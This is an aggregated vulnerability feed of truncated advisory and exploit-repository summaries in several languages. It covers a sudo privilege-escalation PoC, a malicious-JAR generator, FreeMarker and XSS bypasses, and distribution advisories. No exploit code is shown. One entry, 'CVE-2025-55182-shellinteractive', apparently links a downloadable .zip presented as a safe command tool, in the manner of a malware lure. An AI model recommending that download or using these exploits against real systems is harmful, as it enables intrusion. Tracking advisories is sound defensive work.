MAGNOLIA-8281

MAGNOLIA-8281: Обход ограничений FreeMarker 2 в Magnolia CMS Проблема в фильтре FreeMarker в Magnolia CMS v6.2.16 и ниже позволяет злоумышленникам обходить ограничения безопасности и читать/записывать/перемещать/копировать/удалять произвольные файлы с помощью специально созданной полезной нагрузк...

jvmtiAgentLoad-Exploit

Выполнение произвольного кода через jvmtiAgentLoad Описание: Инструменты и код для генерации вредоносного JAR-файла для эксплуатации jvmtiAgentLoad Использование: $ bash createjar.sh Usage: createjar.sh Supported TARGETOS options: linux|windows Целевая система Linux Следующая команда создаёт...

CVE-2025-32463-POC

CVE-2025-32463 - локальное повышение привилегий в sudo PoC ⚠️ Этот репозиторий содержит эксплойт Proof of Concept PoC для CVE-2025-32463 Предназначен только для образовательных целей и использования в авторизованных средах. 🧠 О уязвимости CVE-2025-32463 — это локальная уязвимость повышения...

Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization

Jenkins Pipeline: Groovy Plugin workflow-cps version 2.63 and earlier contains a sandbox bypass vulnerability in CpsGroovyShell.java. During parsing, compilation, and script instantiation of CPS-transformed pipeline scripts, sandbox protections are not applied, allowing authenticated users with...

WBCE-CMS-Stored-XSS---Pages-Menu

WBCE CMS Хранимый XSS v1.6.1 Автор: Sergio Описание: WBCE CMS 1.6.1 подвержен уязвимости хранимого межсайтового скриптинга XSS, которая позволяет злоумышленникам выполнять произвольный код с помощью полезной нагрузки, созданной в параметре Intro Page в меню Pages. Полезная нагрузка будет...

[SECURITY] [DLA 4812-1] libio-compress-perl security update

------------------------------------------------------------------------- Debian LTS Advisory DLA-4812-1 [email protected] https://www.debian.org/lts/security/ Arnaud Rebillout October 02, 2026 https://wiki.debian.org/LTS -...

CVE-2026-103484

A flaw was found in pgvector. An authenticated database user can trigger an out-of-bounds write during an Inverted File Flat IVFFlat index build operation. This vulnerability may allow the attacker to achieve arbitrary code execution or cause a crash resulting in a denial of service on the databa...

CVE-2026-63292

A flaw was found in httpd's modvhostalias module. A remote attacker can exploit a stack-based buffer overflow by sending a crafted HTTP request with an excessively large Host header to a server using specific virtual hosting configurations. This issue can lead to arbitrary code execution or cause...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - Exécutez des commandes facilement et en toute sécurité 🚀 Aperçu CVE-2025-55182 est une vulnérabilité dans https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip et les composants serveur React. Ce...

CVE-2025-5548

💣 Разработка эксплойта — переполнение буфера Этот репозиторий документирует полный процесс эксплуатации уязвимости типа переполнение буфера , следуя структурированной методологии от начального анализа до контроля потока выполнения. 🎯 Цель Цель этого этапа — разработать функциональный эксплойт,...

FreeRDP: FreeRDP: Remote code execution or client crash via malicious TS Gateway

A flaw was found in FreeRDP. FreeRDP clients using TS Gateway are vulnerable to a heap-buffer-overflow. A malicious gateway can send a specially crafted response fragment, causing the client to write beyond its allocated buffer. This can lead to a client crash, resulting in a Denial of Service Do...

ROS-20261002-73-0031

The vulnerability of the EXTRACT function in the PostgreSQL database management system is related to the lack of protective measures for SQL query structures. Exploiting this vulnerability allows an attacker who operates remotely to execute arbitrary code...

Linux Distros Unpatched Vulnerability : CVE-2026-103484

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - IVFFlat index build in pgvector before 0.8.7 allows a database user to write data out-of-bounds, which can lead to arbitrary code execution. CVE-2026-103484 Not...

Google Chrome < 154.0.8037.97 Multiple Vulnerabilities

The version of Google Chrome installed on the remote macOS host is prior to 154.0.8037.97. It is, therefore, affected by multiple vulnerabilities as referenced in the 202610stable-channel-update-for-desktop advisory. - Use after free in FedCM in Google Chrome prior to 154.0.8037.97 allowed a remo...

PT-2026-104096

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Mass Modify Accounts interface...

Red Hat: CVE-2026-94422: xdg-dbus-proxy: xdg-dbus-proxy: message filtering bypass via reply serial allows sandbox escape

An incorrect implementation of message filtering in xdg-dbus-proxy versions before 0.1.9 allows an attacker to bypass the intended message filtering on the D-Bus session bus by setting a reply serial number on non-reply messages. A malicious or compromised Flatpak app could use this to achieve...

openSUSE 16: helm / helm-bash-completion / helm-fish-completion / etc (openSUSE-SU-2026:21983-1)

The remote openSUSE 16 host has packages installed that are affected by multiple vulnerabilities as referenced in the openSUSE-SU-2026:21983-1 advisory. - CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGSMAXFRAMESIZE bsc1265758. - CVE-2026-35204:...

PT-2026-104095

Name of the Vulnerable Software and Affected Versions WHM affected versions not specified Description A stored Cross-Site Scripting XSS issue exists in the Manage SSL Hosts interface. This flaw allows an attacker with low privileges to execute arbitrary code, potentially impacting confidentiality...

ROS-20261002-73-0035

The vulnerability of the EXTRACT function in the PostgreSQL database management system is related to the lack of protective measures for SQL query structures. Exploiting this vulnerability allows an attacker who operates remotely to execute arbitrary code...

ROS-20261002-73-0034

The vulnerability of the EXTRACT function in the PostgreSQL database management system is related to the lack of protective measures for SQL query structures. Exploiting this vulnerability allows an attacker who operates remotely to execute arbitrary code...